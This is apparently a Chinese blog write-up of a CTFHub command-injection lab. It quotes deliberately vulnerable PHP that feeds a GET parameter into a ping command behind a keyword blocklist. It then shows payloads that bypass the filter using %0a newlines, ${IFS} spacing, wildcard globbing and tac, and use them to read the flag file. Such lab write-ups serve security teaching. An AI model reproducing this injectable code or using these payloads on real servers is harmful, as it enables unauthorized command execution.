Loading

CTFHub 命令注入-综合练习 WP

CTFHub 命令注入-综合练习 WP

<?php
$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

我们可以看到 preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m), 他把 |, &, ;, , /, cat, flag, ctfhub 都给禁用了,够狠。
我们可以先思考一下如何将 ping 命令与后面的命令分开,看一下命令表格,发现 %0a 可以充当分隔符。%0a 是换行符,而空格,之前做过一道题,是把空格用 ${IFS} 代替的,我们先 ls 一下,看看有什么。
?ip=127.0.0.1%0als
image
里面有个 flag_is_here 的文件,我们打开它看看里面有什么,用 cd 函数。
?ip=127.0.0.1%0acd${IFS}fl?g_is_here%0als
image
现在我们知道这个 flag_22973179572301.php 就是我们要找的,我们需要查看一下他,但 cat 函数被禁用了,所以要找个替代品。这里我用的 tac 函数,也可以用 more, less 函数。
?ip=127.0.0.1%0acd${IFS}fl?g_is_here%0atac${IFS}fl?g_22973179572301.php
image
会发现有一行没有输出,但我们查看源代码会发现 flag.
image
后面去查了一下,这行为空的原因可能是输出内容可能在 <div><pre> 等标签中,的确 flag 在源码中 <pre> 的位置,这应该就是原因了。

posted @ 2025-11-02 11:22  yi_fan0305  阅读(3)  评论(0)    收藏  举报